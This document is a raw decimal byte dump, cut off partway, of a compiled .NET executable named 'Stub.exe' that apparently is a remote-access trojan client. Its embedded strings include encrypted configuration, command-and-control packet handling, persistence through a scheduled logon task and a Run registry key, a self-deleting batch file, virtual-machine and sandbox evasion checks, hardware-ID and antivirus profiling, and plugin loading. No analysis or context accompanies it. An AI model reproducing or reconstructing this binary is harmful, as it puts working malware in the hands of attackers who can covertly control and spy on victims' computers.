0,81,0,70,0,68,0,110,0,117,0,109,0,117,0,109,0,87,0,112,0,102,0,102,0,75,0,78,0,52,0,43,0,72,0,99,0,68,0,72,0,69,0,117,0,87,0,113,0,69,0,117,0,88,0,69,0,80,0,65,0,109,0,74,0,70,0,100,0,113,0,97,0,54,0,115,0,86,0,102,0,106,0,112,0,101,0,97,0,69,0,113,0,89,0,107,0,113,0,43,0,74,0,57,0,108,0,67,0,66,0,51,0,75,0,112,0,97,0,76,0,86,0,106,0,81,0,74,0,71,0,78,0,80,0,120,0,111,0,89,0,77,0,105,0,98,0,104,0,110,0,104,0,56,0,74,0,119,0,109,0,116,0,97,0,57,0,50,0,109,0,87,0,78,0,119,0,54,0,102,0,107,0,114,0,88,0,76,0,112,0,112,0,104,0,54,0,81,0,79,0,85,0,74,0,85,0,98,0,117,0,103,0,98,0,103,0,67,0,65,0,53,0,65,0,73,0,68,0,122,0,89,0,77,0,90,0,103,0,66,0,115,0,111,0,121,0,54,0,115,0,85,0,97,0,48,0,81,0,82,0,89,0,110,0,97,0,50,0,117,0,43,0,99,0,71,0,107,0,80,0,49,0,76,0,107,0,107,0,97,0,83,0,86,0,111,0,105,0,55,0,89,0,87,0,52,0,43,0,119,0,50,0,118,0,54,0,75,0,80,0,65,0,111,0,80,0,83,0,76,0,77,0,112,0,73,0,81,0,122,0,99,0,116,0,121,0,104,0,53,0,108,0,81,0,89,0,108,0,73,0,75,0,115,0,108,0,118,0,68,0,75,0,110,0,79,0,118,0,73,0,76,0,111,0,98,0,121,0,107,0,43,0,99,0,57,0,113,0,79,0,122,0,56,0,78,0,90,0,121,0,118,0,73,0,106,0,116,0,121,0,90,0,72,0,99,0,83,0,49,0,72,0,72,0,84,0,49,0,108,0,67,0,83,0,102,0,116,0,99,0,105,0,113,0,86,0,89,0,114,0,76,0,77,0,101,0,48,0,118,0,75,0,55,0,69,0,50,0,47,0,56,0,78,0,75,0,65,0,69,0,50,0,99,0,55,0,83,0,79,0,83,0,121,0,51,0,119,0,97,0,107,0,110,0,70,0,69,0,57,0,89,0,109,0,83,0,114,0,108,0,72,0,77,0,51,0,68,0,73,0,48,0,112,0,67,0,56,0,78,0,99,0,122,0,49,0,110,0,74,0,110,0,87,0,117,0,79,0,111,0,77,0,75,0,99,0,49,0,100,0,114,0,82,0,114,0,114,0,121,0,112,0,55,0,57,0,88,0,82,0,107,0,74,0,87,0,49,0,75,0,54,0,78,0,120,0,116,0,102,0,103,0,105,0,111,0,83,0,79,0,110,0,83,0,83,0,49,0,57,0,69,0,113,0,121,0,115,0,118,0,72,0,66,0,110,0,49,0,47,0,115,0,98,0,85,0,116,0,51,0,56,0,50,0,87,0,120,0,111,0,47,0,101,0,88,0,103,0,72,0,103,0,72,0,77,0,90,0,110,0,71,0,66,0,49,0,54,0,114,0,66,0,119,0,118,0,99,0,69,0,90,0,69,0,87,0,48,0,111,0,105,0,114,0,105,0,67,0,73,0,89,0,104,0,101,0,89,0,69,0,114,0,105,0,69,0,76,0,55,0,112,0,106,0,79,0,54,0,71,0,107,0,73,0,88,0,55,0,122,0,53,0,84,0,84,0,76,0,113,0,49,0,118,0,103,0,67,0,77,0,99,0,115,0,108,0,79,0,119,0,79,0,53,0,56,0,114,0,51,0,57,0,47,0,99,0,103,0,99,0,87,0,83,0,49,0,48,0,88,0,67,0,116,0,78,0,53,0,101,0,68,0,101,0,119,0,70,0,49,0,109,0,86,0,80,0,80,0,118,0,65,0,52,0,121,0,103,0,104,0,74,0,102,0,111,0,51,0,89,0,52,0,49,0,113,0,97,0,73,0,104,0,74,0,101,0,65,0,117,0,112,0,99,0,111,0,51,0,76,0,117,0,75,0,66,0,111,0,104,0,112,0,86,0,76,0,104,0,87,0,121,0,85,0,110,0,110,0,57,0,119,0,105,0,47,0,98,0,89,0,65,0,67,0,76,0,85,0,76,0,81,0,71,0,117,0,101,0,47,0,66,0,102,0,81,0,67,0,72,0,54,0,115,0,80,0,81,0,87,0,98,0,105,0,81,0,103,0,84,0,112,0,81,0,55,0,104,0,74,0,111,0,73,0,115,0,112,0,119,0,112,0,79,0,67,0,118,0,70,0,118,0,83,0,67,0,89,0,102,0,65,0,87,0,97,0,86,0,57,0,122,0,54,0,107,0,54,0,72,0,52,0,103,0,69,0,108,0,67,0,86,0,87,0,102,0,97,0,52,0,105,0,53,0,111,0,115,0,85,0,65,0,66,0,84,0,80,0,81,0,79,0,77,0,78,0,121,0,66,0,121,0,50,0,97,0,68,0,71,0,111,0,112,0,73,0,81,0,110,0,65,0,113,0,51,0,67,0,85,0,47,0,47,0,83,0,87,0,75,0,106,0,75,0,97,0,78,0,120,0,113,0,47,0,65,0,113,0,120,0,117,0,113,0,83,0,57,0,57,0,109,0,119,0,103,0,52,0,43,0,47,0,102,0,43,0,98,0,51,0,121,0,111,0,100,0,57,0,119,0,101,0,54,0,107,0,65,0,66,0,53,0,119,0,70,0,47,0,82,0,99,0,71,0,102,0,104,0,105,0,52,0,53,0,116,0,70,0,49,0,113,0,86,0,103,0,68,0,119,0,72,0,100,0,110,0,89,0,86,0,54,0,49,0,113,0,73,0,108,0,66,0,113,0,109,0,115,0,50,0,72,0,71,0,56,0,107,0,65,0,87,0,50,0,105,0,108,0,104,0,88,0,121,0,100,0,48,0,99,0,87,0,114,0,108,0,56,0,109,0,121,0,48,0,110,0,50,0,104,0,86,0,50,0,54,0,81,0,61,0,61,0,0,128,177,43,0,67,0,103,0,121,0,99,0,119,0,100,0,57,0,70,0,109,0,79,0,65,0,105,0,114,0,99,0,86,0,102,0,70,0,97,0,83,0,51,0,76,0,100,0,81,0,72,0,78,0,76,0,83,0,74,0,90,0,112,0,113,0,119,0,85,0,53,0,57,0,106,0,43,0,78,0,105,0,105,0,114,0,114,0,77,0,88,0,54,0,105,0,67,0,119,0,72,0,74,0,88,0,72,0,88,0,112,0,81,0,101,0,101,0,82,0,109,0,70,0,49,0,101,0,86,0,78,0,101,0,47,0,57,0,81,0,113,0,86,0,48,0,120,0,73,0,107,0,88,0,70,0,116,0,104,0,119,0,74,0,108,0,101,0,69,0,48,0,119,0,61,0,61,0,0,128,177,48,0,73,0,104,0,75,0,69,0,116,0,114,0,51,0,112,0,90,0,81,0,52,0,98,0,78,0,49,0,65,0,52,0,57,0,47,0,97,0,79,0,88,0,108,0,65,0,122,0,90,0,71,0,73,0,47,0,86,0,112,0,84,0,122,0,75,0,106,0,106,0,105,0,110,0,88,0,77,0,97,0,68,0,106,0,69,0,103,0,43,0,51,0,57,0,68,0,53,0,70,0,54,0,70,0,109,0,49,0,117,0,116,0,66,0,117,0,118,0,53,0,106,0,50,0,82,0,54,0,81,0,106,0,65,0,53,0,56,0,75,0,111,0,103,0,113,0,67,0,83,0,110,0,47,0,98,0,73,0,89,0,65,0,90,0,81,0,75,0,81,0,61,0,61,0,0,128,177,81,0,56,0,87,0,85,0,121,0,73,0,47,0,121,0,111,0,89,0,118,0,84,0,82,0,54,0,52,0,100,0,66,0,104,0,116,0,55,0,82,0,54,0,48,0,79,0,87,0,98,0,81,0,67,0,122,0,100,0,105,0,103,0,90,0,85,0,122,0,82,0,74,0,67,0,88,0,68,0,51,0,115,0,83,0,83,0,53,0,118,0,119,0,53,0,77,0,49,0,54,0,66,0,105,0,65,0,99,0,67,0,53,0,122,0,52,0,115,0,111,0,121,0,57,0,117,0,99,0,112,0,102,0,82,0,98,0,119,0,56,0,43,0,78,0,101,0,73,0,57,0,102,0,84,0,101,0,98,0,82,0,79,0,89,0,56,0,67,0,119,0,61,0,61,0,0,3,51,0,0,128,177,110,0,50,0,80,0,119,0,71,0,100,0,71,0,47,0,43,0,109,0,43,0,120,0,49,0,81,0,121,0,43,0,110,0,120,0,48,0,90,0,47,0,117,0,83,0,72,0,69,0,71,0,74,0,120,0,43,0,69,0,110,0,57,0,107,0,73,0,99,0,112,0,53,0,106,0,105,0,84,0,107,0,115,0,55,0,47,0,114,0,53,0,98,0,57,0,117,0,72,0,43,0,102,0,81,0,102,0,55,0,78,0,57,0,70,0,110,0,117,0,72,0,117,0,51,0,121,0,113,0,116,0,65,0,111,0,54,0,113,0,115,0,89,0,118,0,57,0,74,0,90,0,77,0,102,0,121,0,53,0,79,0,89,0,87,0,83,0,111,0,103,0,61,0,61,0,0,9,110,0,117,0,108,0,108,0,0,3,58,0,0,13,80,0,97,0,99,0,107,0,101,0,116,0,0,9,80,0,105,0,110,0,103,0,0,15,77,0,101,0,115,0,115,0,97,0,103,0,101,0,0,7,99,0,109,0,100,0,0,105,47,0,99,0,32,0,115,0,99,0,104,0,116,0,97,0,115,0,107,0,115,0,32,0,47,0,99,0,114,0,101,0,97,0,116,0,101,0,32,0,47,0,102,0,32,0,47,0,115,0,99,0,32,0,111,0,110,0,108,0,111,0,103,0,111,0,110,0,32,0,47,0,114,0,108,0,32,0,104,0,105,0,103,0,104,0,101,0,115,0,116,0,32,0,47,0,116,0,110,0,32,0,34,0,0,17,34,0,32,0,47,0,116,0,114,0,32,0,39,0,34,0,1,19,34,0,39,0,32,0,38,0,32,0,101,0,120,0,105,0,116,0,1,93,92,0,110,0,117,0,82,0,92,0,110,0,111,0,105,0,115,0,114,0,101,0,86,0,116,0,110,0,101,0,114,0,114,0,117,0,67,0,92,0,115,0,119,0,111,0,100,0,110,0,105,0,87,0,92,0,116,0,102,0,111,0,115,0,111,0,114,0,99,0,105,0,77,0,92,0,101,0,114,0,97,0,119,0,116,0,102,0,111,0,83,0,0,3,34,0,0,9,46,0,98,0,97,0,116,0,0,19,64,0,101,0,99,0,104,0,111,0,32,0,111,0,102,0,102,0,0,31,116,0,105,0,109,0,101,0,111,0,117,0,116,0,32,0,51,0,32,0,62,0,32,0,78,0,85,0,76,0,0,21,83,0,84,0,65,0,82,0,84,0,32,0,34,0,34,0,32,0,34,0,0,7,67,0,68,0,32,0,0,11,68,0,69,0,76,0,32,0,34,0,0,15,34,0,32,0,47,0,102,0,32,0,47,0,113,0,0,5,120,0,112,0,0,69,83,0,101,0,108,0,101,0,99,0,116,0,32,0,42,0,32,0,102,0,114,0,111,0,109,0,32,0,87,0,105,0,110,0,51,0,50,0,95,0,67,0,111,0,109,0,112,0,117,0,116,0,101,0,114,0,83,0,121,0,115,0,116,0,101,0,109,0,0,25,77,0,97,0,110,0,117,0,102,0,97,0,99,0,116,0,117,0,114,0,101,0,114,0,0,43,109,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,99,0,111,0,114,0,112,0,111,0,114,0,97,0,116,0,105,0,111,0,110,0,0,11,77,0,111,0,100,0,101,0,108,0,0,15,86,0,73,0,82,0,84,0,85,0,65,0,76,0,0,13,118,0,109,0,119,0,97,0,114,0,101,0,0,21,86,0,105,0,114,0,116,0,117,0,97,0,108,0,66,0,111,0,120,0,0,23,83,0,98,0,105,0,101,0,68,0,108,0,108,0,46,0,100,0,108,0,108,0,0,17,69,0,114,0,114,0,32,0,72,0,87,0,73,0,68,0,0,5,120,0,50,0,0,21,67,0,108,0,105,0,101,0,110,0,116,0,73,0,110,0,102,0,111,0,0,9,72,0,87,0,73,0,68,0,0,9,85,0,115,0,101,0,114,0,0,5,79,0,83,0,0,19,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,0,3,32,0,0,9,84,0,114,0,117,0,101,0,0,11,54,0,52,0,98,0,105,0,116,0,0,11,70,0,97,0,108,0,115,0,101,0,0,11,51,0,50,0,98,0,105,0,116,0,0,9,80,0,97,0,116,0,104,0,0,15,86,0,101,0,114,0,115,0,105,0,111,0,110,0,0,11,65,0,100,0,109,0,105,0,110,0,0,9,116,0,114,0,117,0,101,0,0,11,102,0,97,0,108,0,115,0,101,0,0,23,80,0,101,0,114,0,102,0,111,0,114,0,109,0,97,0,110,0,99,0,101,0,0,17,80,0,97,0,115,0,116,0,101,0,98,0,105,0,110,0,0,19,65,0,110,0,116,0,105,0,118,0,105,0,114,0,117,0,115,0,0,19,73,0,110,0,115,0,116,0,97,0,108,0,108,0,101,0,100,0,0,9,80,0,111,0,110,0,103,0,0,11,71,0,114,0,111,0,117,0,112,0,0,5,92,0,92,0,0,43,92,0,114,0,111,0,111,0,116,0,92,0,83,0,101,0,99,0,117,0,114,0,105,0,116,0,121,0,67,0,101,0,110,0,116,0,101,0,114,0,50,0,0,61,83,0,101,0,108,0,101,0,99,0,116,0,32,0,42,0,32,0,102,0,114,0,111,0,109,0,32,0,65,0,110,0,116,0,105,0,118,0,105,0,114,0,117,0,115,0,80,0,114,0,111,0,100,0,117,0,99,0,116,0,0,23,100,0,105,0,115,0,112,0,108,0,97,0,121,0,78,0,97,0,109,0,101,0,0,7,78,0,47,0,65,0,0,5,44,0,32,0,0,19,83,0,111,0,102,0,116,0,119,0,97,0,114,0,101,0,92,0,0,9,112,0,111,0,110,0,103,0,0,13,112,0,108,0,117,0,103,0,105,0,110,0,0,21,115,0,97,0,118,0,101,0,80,0,108,0,117,0,103,0,105,0,110,0,0,7,68,0,108,0,108,0,0,21,115,0,101,0,110,0,100,0,80,0,108,0,117,0,103,0,105,0,110,0,0,13,72,0,97,0,115,0,104,0,101,0,115,0,0,9,72,0,97,0,115,0,104,0,0,27,80,0,108,0,117,0,103,0,105,0,110,0,46,0,80,0,108,0,117,0,103,0,105,0,110,0,0,7,82,0,117,0,110,0,0,15,77,0,115,0,103,0,112,0,97,0,99,0,107,0,0,17,82,0,101,0,99,0,101,0,105,0,118,0,101,0,100,0,0,11,69,0,114,0,114,0,111,0,114,0,0,71,109,0,97,0,115,0,116,0,101,0,114,0,75,0,101,0,121,0,32,0,99,0,97,0,110,0,32,0,110,0,111,0,116,0,32,0,98,0,101,0,32,0,110,0,117,0,108,0,108,0,32,0,111,0,114,0,32,0,101,0,109,0,112,0,116,0,121,0,46,0,0,45,105,0,110,0,112,0,117,0,116,0,32,0,99,0,97,0,110,0,32,0,110,0,111,0,116,0,32,0,98,0,101,0,32,0,110,0,117,0,108,0,108,0,46,0,0,85,73,0,110,0,118,0,97,0,108,0,105,0,100,0,32,0,109,0,101,0,115,0,115,0,97,0,103,0,101,0,32,0,97,0,117,0,116,0,104,0,101,0,110,0,116,0,105,0,99,0,97,0,116,0,105,0,111,0,110,0,32,0,99,0,111,0,100,0,101,0,32,0,40,0,77,0,65,0,67,0,41,0,46,0,0,5,88,0,50,0,0,15,123,0,48,0,58,0,68,0,51,0,125,0,32,0,0,15,123,0,48,0,58,0,88,0,50,0,125,0,32,0,0,43,40,0,110,0,101,0,118,0,101,0,114,0,32,0,117,0,115,0,101,0,100,0,41,0,32,0,116,0,121,0,112,0,101,0,32,0,36,0,99,0,49,0,0,69,40,0,101,0,120,0,116,0,56,0,44,0,101,0,120,0,116,0,49,0,54,0,44,0,101,0,120,0,51,0,50,0,41,0,32,0,116,0,121,0,112,0,101,0,32,0,36,0,99,0,55,0,44,0,36,0,99,0,56,0,44,0,36,0,99,0,57,0,0,173,129,156,161,167,220,66,73,173,123,192,215,63,102,116,49,0,8,183,122,92,86,25,52,224,137,3,0,0,1,3,32,0,1,2,6,14,3,6,18,9,3,6,18,68,3,0,0,2,3,6,18,13,3,6,18,17,3,6,29,5,2,6,10,3,6,18,21,2,6,2,2,6,28,2,6,8,4,0,0,18,13,5,0,1,1,18,13,4,0,0,18,17,5,0,1,1,18,17,4,0,0,29,5,5,0,1,1,29,5,3,0,0,10,4,0,1,1,10,4,0,0,18,21,5,0,1,1,18,21,4,0,1,1,2,3,0,0,28,3,0,0,8,4,0,1,1,8,4,0,1,2,14,10,0,4,2,28,18,25,18,29,17,33,5,0,1,1,18,37,4,0,1,1,28,4,8,0,18,13,4,8,0,18,17,4,8,0,29,5,3,8,0,10,4,8,0,18,21,3,8,0,2,3,8,0,28,3,8,0,8,3,0,0,14,4,0,1,14,14,8,176,63,95,127,17,213,10,58,6,0,1,18,41,18,45,3,6,18,49,3,0,0,24,7,0,3,8,24,18,53,8,4,0,1,24,14,6,0,2,2,24,16,2,6,0,1,17,48,17,48,6,0,3,1,9,9,9,2,6,9,3,6,17,48,4,0,0,0,128,4,2,0,0,0,4,1,0,0,0,6,0,2,1,28,18,61,6,0,2,2,14,29,5,5,0,1,29,5,14,7,6,21,18,65,1,18,96,5,0,1,1,18,96,4,0,1,1,14,24,6,21,18,69,1,21,18,73,10,18,77,28,18,13,18,9,14,29,5,18,49,14,14,14,4,32,0,0,0,4,64,0,0,0,4,16,0,0,0,4,32,1,1,14,4,32,1,14,14,6,32,1,29,5,29,5,7,32,2,2,29,5,29,5,6,0,1,29,5,29,5,3,6,17,80,3,6,18,85,5,0,1,14,29,5,5,0,1,29,5,10,5,0,1,29,5,8,5,0,1,29,5,6,5,0,1,29,5,13,9,32,1,1,21,18,65,1,18,96,3,32,0,28,3,32,0,2,3,40,0,28,3,6,18,96,11,32,2,1,18,96,21,18,65,1,18,96,4,32,0,18,96,5,32,1,18,96,14,5,32,1,18,96,10,5,32,1,18,96,13,5,32,1,18,96,8,3,32,0,8,5,40,1,18,96,8,3,40,0,8,3,6,17,100,3,6,18,92,4,32,1,8,14,5,32,1,1,18,97,4,32,1,1,10,4,32,1,1,11,3,32,0,11,3,32,0,10,3,32,0,13,5,32,1,1,29,5,4,32,0,29,5,5,32,2,1,14,14,5,32,2,1,14,8,4,32,1,2,14,3,32,0,14,4,32,1,1,2,4,32,1,1,12,4,32,1,1,13,4,32,0,18,92,4,32,0,17,100,4,32,0,18,89,3,40,0,14,3,40,0,10,3,40,0,13,4,40,0,18,92,4,40,0,17,100,4,0,0,0,0,4,3,0,0,0,4,4,0,0,0,4,5,0,0,0,4,6,0,0,0,4,7,0,0,0,4,8,0,0,0,4,9,0,0,0,4,10,0,0,0,4,11,0,0,0,6,0,2,14,18,97,8,5,0,1,14,18,97,6,0,2,14,5,18,97,5,0,1,1,18,97,6,0,2,1,18,97,14,7,0,2,1,18,97,29,5,6,0,2,1,18,97,13,6,0,2,1,18,97,12,6,0,2,1,18,97,2,6,0,2,1,18,97,11,6,0,2,1,18,97,10,3,6,17,120,4,32,1,1,8,8,1,0,8,0,0,0,0,0,30,1,0,1,0,84,2,22,87,114,97,112,78,111,110,69,120,99,101,112,116,105,111,110,84,104,114,111,119,115,1,5,32,1,1,17,113,8,1,0,2,0,0,0,0,0,5,1,0,0,0,0,12,1,0,7,49,46,48,46,48,46,48,0,0,101,1,0,41,46,78,69,84,70,114,97,109,101,119,111,114,107,44,86,101,114,115,105,111,110,61,118,52,46,48,44,80,114,111,102,105,108,101,61,67,108,105,101,110,116,1,0,84,14,20,70,114,97,109,101,119,111,114,107,68,105,115,112,108,97,121,78,97,109,101,31,46,78,69,84,32,70,114,97,109,101,119,111,114,107,32,52,32,67,108,105,101,110,116,32,80,114,111,102,105,108,101,9,1,0,4,73,116,101,109,0,0,3,7,1,8,4,0,1,8,14,3,7,1,2,5,0,0,18,128,177,5,32,1,14,29,5,5,32,0,18,128,181,5,32,0,18,128,185,5,32,1,29,5,14,8,32,3,2,29,5,14,29,5,20,7,8,14,8,29,18,128,201,8,18,128,201,18,128,205,18,128,209,29,14,12,32,3,1,17,128,213,17,128,217,17,128,221,5,0,2,2,14,14,6,32,1,29,14,29,3,4,32,1,8,8,7,0,1,29,18,128,201,14,7,32,2,1,18,128,201,8,6,32,1,1,18,128,241,9,32,2,29,14,29,14,17,128,245,5,32,2,8,8,8,6,32,2,1,18,13,2,5,32,2,1,28,24,9,32,3,1,18,97,2,18,129,1,5,32,0,18,129,5,11,32,4,1,14,18,129,9,17,129,13,2,9,32,4,1,18,129,21,28,8,8,12,32,5,18,37,29,5,8,8,18,129,25,28,6,0,1,17,129,33,14,5,32,1,2,18,25,4,7,2,8,8,5,32,1,8,18,37,6,0,2,8,29,5,8,7,32,3,8,29,5,8,8,6,32,1,1,18,129,41,4,32,1,1,28,12,7,6,28,2,29,5,18,129,45,8,29,5,6,0,2,1,28,16,2,7,32,2,2,8,17,129,53,7,32,3,1,29,5,8,8,26,7,10,18,129,61,14,29,18,129,65,8,18,129,65,18,129,69,18,129,73,29,5,14,18,129,77,5,0,2,14,14,14,5,0,0,18,129,65,5,32,0,18,129,85,6,0,0,29,18,129,65,5,0,1,14,29,14,6,32,1,1,17,129,93,8,0,1,18,129,65,18,129,69,4,6,18,129,73,9,32,2,18,129,73,14,17,129,105,6,0,3,14,14,14,14,5,32,2,1,14,28,7,32,2,1,14,17,129,117,4,7,2,10,2,16,7,6,18,129,133,18,129,137,18,129,141,18,129,145,14,2,5,32,0,18,129,137,5,32,0,18,129,141,5,32,0,18,129,145,4,32,1,28,14,4,7,2,2,2,3,32,0,24,4,7,2,24,2,3,7,1,14,5,0,0,18,129,157,5,0,1,14,29,28,10,7,5,29,5,18,53,29,5,8,5,5,32,1,18,53,14,5,32,2,14,8,8,6,7,2,2,17,129,173,5,32,2,14,14,14,5,32,0,17,129,173,5,0,0,18,129,185,6,32,1,1,18,129,185,6,32,1,2,17,129,193,17,7,5,18,129,133,21,18,65,1,14,18,129,141,18,129,145,14,5,21,18,65,1,14,5,32,1,1,19,0,5,32,0,29,19,0,6,0,2,14,14,29,14,8,7,3,29,18,41,8,18,41,5,0,0,29,18,41,5,32,0,17,129,197,9,0,2,2,17,129,197,17,129,197,5,7,2,18,53,14,7,32,3,1,2,14,16,2,6,0,1,1,18,129,205,6,7,2,18,129,73,2,8,32,3,1,14,28,17,129,213,7,7,2,18,129,73,29,5,6,32,1,18,129,73,14,2,29,5,7,32,2,18,129,73,14,2,14,7,4,18,96,14,21,17,129,217,1,18,96,18,96,6,21,18,65,1,18,96,16,16,1,1,21,18,65,1,30,0,21,18,129,225,1,30,0,4,10,1,18,96,9,32,0,21,17,129,217,1,19,0,7,21,17,129,217,1,18,96,4,32,0,19,0,5,32,1,2,19,0,3,7,1,28,5,0,0,18,129,229,7,32,1,18,129,233,29,5,6,32,1,18,129,237,14,6,0,1,28,18,129,237,8,0,1,18,129,237,17,129,245,9,0,2,18,129,249,17,129,253,14,28,0,5,18,130,5,17,130,9,14,21,18,129,225,1,18,129,237,18,129,237,21,18,129,225,1,18,129,249,23,21,18,69,1,21,18,73,10,18,77,28,18,13,18,9,14,29,5,18,49,14,14,14,11,0,1,21,18,69,1,19,0,18,130,5,3,6,19,0,19,21,18,73,10,18,77,28,18,13,18,9,14,29,5,18,49,14,14,14,23,32,10,1,19,0,19,1,19,2,19,3,19,4,19,5,19,6,19,7,19,8,19,9,5,7,1,18,130,13,7,32,3,1,14,29,5,8,5,32,1,29,5,8,18,7,6,18,129,45,18,130,25,18,130,29,18,130,33,29,5,29,5,6,32,1,1,17,130,45,6,32,1,1,17,130,49,5,32,0,18,130,53,11,32,3,1,18,97,18,130,53,17,130,57,8,32,3,29,5,29,5,8,8,26,7,10,18,129,45,18,130,25,18,130,33,29,5,29,5,29,5,18,130,29,29,5,29,5,29,5,12,0,5,1,18,130,69,8,18,130,69,8,8,4,7,2,2,8,9,0,2,1,18,130,69,17,130,77,13,7,6,29,5,18,130,81,18,53,29,5,8,5,7,7,2,18,130,81,29,5,8,7,4,18,53,29,5,8,5,5,0,2,14,14,28,6,7,3,29,5,8,8,5,32,1,19,0,8,4,7,1,18,96,14,7,5,8,8,14,21,17,129,217,1,18,96,18,96,7,7,4,8,5,29,5,8,4,32,1,1,5,4,7,1,17,100,4,0,1,11,10,4,0,1,11,14,4,0,1,11,13,4,0,1,11,12,6,0,1,11,17,129,173,4,0,1,10,10,4,0,1,10,14,4,0,1,10,13,4,0,1,10,12,6,0,1,10,17,129,173,4,0,1,13,10,4,0,1,13,14,7,7,2,17,100,17,129,173,5,0,1,29,5,12,7,7,2,29,5,18,129,113,13,32,4,1,14,17,129,117,17,130,97,17,130,101,11,7,6,18,96,29,14,14,8,18,96,8,5,7,1,18,129,45,5,7,1,18,129,113,7,7,4,5,29,5,8,8,6,0,2,7,29,5,8,6,0,2,12,29,5,8,6,0,2,13,29,5,8,6,0,2,9,29,5,8,6,0,2,11,29,5,8,6,0,2,6,29,5,8,6,0,2,10,29,5,8,9,7,3,18,129,45,29,5,29,5,5,7,2,18,96,2,4,7,1,29,5,5,7,2,29,5,8,8,7,4,29,5,29,5,8,5,6,7,3,29,5,8,5,5,0,1,29,5,11,15,7,6,18,129,45,29,5,8,18,130,105,29,5,29,5,8,32,2,1,18,97,17,130,109,12,7,4,18,129,45,29,5,18,130,105,29,5,0,0,20,199,0,0,0,0,0,0,0,0,0,0,46,199,0,0,0,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,199,0,0,0,0,0,0,0,0,0,0,0,0,95,67,111,114,69,120,101,77,97,105,110,0,109,115,99,111,114,101,101,46,100,108,108,0,0,0,0,0,255,37,0,32,64,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,16,0,0,0,32,0,0,128,24,0,0,0,80,0,0,128,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,56,0,0,128,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,128,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,104,0,0,128,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,144,0,0,0,160,224,0,0,204,2,0,0,0,0,0,0,0,0,0,0,108,227,0,0,147,4,0,0,0,0,0,0,0,0,0,0,204,2,52,0,0,0,86,0,83,0,95,0,86,0,69,0,82,0,83,0,73,0,79,0,78,0,95,0,73,0,78,0,70,0,79,0,0,0,0,0,189,4,239,254,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,63,0,0,0,0,0,0,0,4,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,68,0,0,0,1,0,86,0,97,0,114,0,70,0,105,0,108,0,101,0,73,0,110,0,102,0,111,0,0,0,0,0,36,0,4,0,0,0,84,0,114,0,97,0,110,0,115,0,108,0,97,0,116,0,105,0,111,0,110,0,0,0,0,0,0,0,176,4,44,2,0,0,1,0,83,0,116,0,114,0,105,0,110,0,103,0,70,0,105,0,108,0,101,0,73,0,110,0,102,0,111,0,0,0,8,2,0,0,1,0,48,0,48,0,48,0,48,0,48,0,52,0,98,0,48,0,0,0,26,0,1,0,1,0,67,0,111,0,109,0,109,0,101,0,110,0,116,0,115,0,0,0,0,0,0,0,34,0,1,0,1,0,67,0,111,0,109,0,112,0,97,0,110,0,121,0,78,0,97,0,109,0,101,0,0,0,0,0,0,0,0,0,42,0,1,0,1,0,70,0,105,0,108,0,101,0,68,0,101,0,115,0,99,0,114,0,105,0,112,0,116,0,105,0,111,0,110,0,0,0,0,0,0,0,0,0,48,0,8,0,1,0,70,0,105,0,108,0,101,0,86,0,101,0,114,0,115,0,105,0,111,0,110,0,0,0,0,0,49,0,46,0,48,0,46,0,48,0,46,0,48,0,0,0,50,0,9,0,1,0,73,0,110,0,116,0,101,0,114,0,110,0,97,0,108,0,78,0,97,0,109,0,101,0,0,0,83,0,116,0,117,0,98,0,46,0,101,0,120,0,101,0,0,0,0,0,38,0,1,0,1,0,76,0,101,0,103,0,97,0,108,0,67,0,111,0,112,0,121,0,114,0,105,0,103,0,104,0,116,0,0,0,0,0,0,0,42,0,1,0,1,0,76,0,101,0,103,0,97,0,108,0,84,0,114,0,97,0,100,0,101,0,109,0,97,0,114,0,107,0,115,0,0,0,0,0,0,0,0,0,58,0,9,0,1,0,79,0,114,0,105,0,103,0,105,0,110,0,97,0,108,0,70,0,105,0,108,0,101,0,110,0,97,0,109,0,101,0,0,0,83,0,116,0,117,0,98,0,46,0,101,0,120,0,101,0,0,0,0,0,34,0,1,0,1,0,80,0,114,0,111,0,100,0,117,0,99,0,116,0,78,0,97,0,109,0,101,0,0,0,0,0,0,0,0,0,52,0,8,0,1,0,80,0,114,0,111,0,100,0,117,0,99,0,116,0,86,0,101,0,114,0,115,0,105,0,111,0,110,0,0,0,49,0,46,0,48,0,46,0,48,0,46,0,48,0,0,0,56,0,8,0,1,0,65,0,115,0,115,0,101,0,109,0,98,0,108,0,121,0,32,0,86,0,101,0,114,0,115,0,105,0,111,0,110,0,0,0,49,0,46,0,48,0,46,0,48,0,46,0,48,0,0,0,239,187,191,60,97,115,115,101,109,98,108,121,32,120,109,108,110,115,61,34,117,114,110,58,115,99,104,101,109,97,115,45,109,105,99,114,111,115,111,102,116,45,99,111,109,58,97,115,109,46,118,49,34,32,109,97,110,105,102,101,115,116,86,101,114,115,105,111,110,61,34,49,46,48,34,62,13,10,32,32,60,116,114,117,115,116,73,110,102,111,32,120,109,108,110,115,61,34,117,114,110,58,115,99,104,101,109,97,115,45,109,105,99,114,111,115,111,102,116,45,99,111,109,58,97,115,109,46,118,50,34,62,13,10,32,32,32,32,60,115,101,99,117,114,105,116,121,62,13,10,32,32,32,32,32,32,60,114,101,113,117,101,115,116,101,100,80,114,105,118,105,108,101,103,101,115,62,13,10,32,32,32,32,32,32,32,32,60,114,101,113,117,101,115,116,101,100,69,120,101,99,117,116,105,111,110,76,101,